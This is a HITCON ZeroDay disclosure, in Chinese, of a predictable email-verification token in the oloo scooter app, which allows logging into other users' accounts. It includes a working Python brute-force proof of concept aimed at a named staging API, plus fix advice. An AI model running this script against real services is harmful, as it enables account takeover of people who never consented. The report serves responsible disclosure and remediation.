oloo 認證 email 驗證 token 可預測 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2023-00447
  •  發信 Vendor: 路加服務科技股份有限公司
  • Title: oloo 認證 email 驗證 token 可預測
  • Introduction: 信箱驗證碼 token 可預測,可隨意登入他人帳號

處理狀態

目前狀態

公開
Last Update : 2023/10/26
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2023/08/26 11:33:29 : 新提交 (由 ! Tony Yang 更新此狀態)
  • 2023/08/26 11:40:00 : 新提交 (由 ! Tony Yang 更新此狀態)
  • 2023/08/26 11:41:13 : 新提交 (由 ! Tony Yang 更新此狀態)
  • 2023/08/26 11:59:20 : 新提交 (由 ! Tony Yang 更新此狀態)
  • 2023/08/26 12:00:13 : 新提交 (由 ! Tony Yang 更新此狀態)
  • 2023/08/26 14:49:57 : 新提交 (由 ! Tony Yang 更新此狀態)
  • 2023/08/26 15:36:03 : 新提交 (由 ! Tony Yang 更新此狀態)
  • 2023/08/26 18:16:16 : 新提交 (由 ! Tony Yang 更新此狀態)
  • 2023/08/28 17:13:48 : 新提交 (由 ! Tony Yang 更新此狀態)
  • 2023/08/28 17:14:07 : 新提交 (由 ! Tony Yang 更新此狀態)
  • 2023/08/29 14:43:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/08/31 18:19:39 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/08/31 18:19:39 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/10/26 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2023-00447
  • 通報者:t510599 (! Tony Yang)
  • 風險:高
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://looplus-api-staging.loopluscooter.com/nest/api/accounts/login-by-verify-email?ts=<timestamp>&token=<token>&redirect=%2Fverified.html

敘述

於 APP 輸入 email 登入後 收到以下認證信
圖片

圖片
透過簡單觀察不同次登入之 token 後
可得知之生成方式為 md5(email) + md5(timestamp)
timestamp 為 APP 登入時的時間戳 (ms)

於 APP 輸入 email 登入後 即使無 email 存取權限
爆破 timestamp 後即可登入任意已知 email 之帳號

且同一認證 token 可重複使用 意即爆破一次 timestamp 後可多次用於登入

PoC:

import concurrent.futures

import requests as r
import hashlib

import time
import sys

USER_AGRNT = "curl/7.73.0"

BRUTEFORCE_RANGE = 1000
EMAIL = sys.argv[1]

api = "https://looplus-api-staging.loopluscooter.com/nest/api/accounts/login-by-verify-email"

def get_token(email, ts):
    return hashlib.md5(email.encode()).hexdigest() + hashlib.md5(ts.encode()).hexdigest()

def login(email, ts):
    res = r.get(api, params={ "ts": ts, "token": get_token(email, ts), "redirect": "/verified.html" }, headers={ "User-Agent": USER_AGRNT })
    return "FAILED" not in res.text, res.text, ts

ts = int(time.time() * 1000)

with concurrent.futures.ThreadPoolExecutor() as executor:
    futures: list[concurrent.futures.Future] = []
    for i in range(BRUTEFORCE_RANGE, 0, -1):
        futures.append(executor.submit(login, EMAIL, str(ts - i)))

    for future in concurrent.futures.as_completed(futures):
        success, content, i = future.result()
        print(i)
        if success:
            break

    for future in futures:
        future.cancel()

註: 僅以個人帳號測試

修補建議

hash 時要加鹽
otp token 應完全隨機生成

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;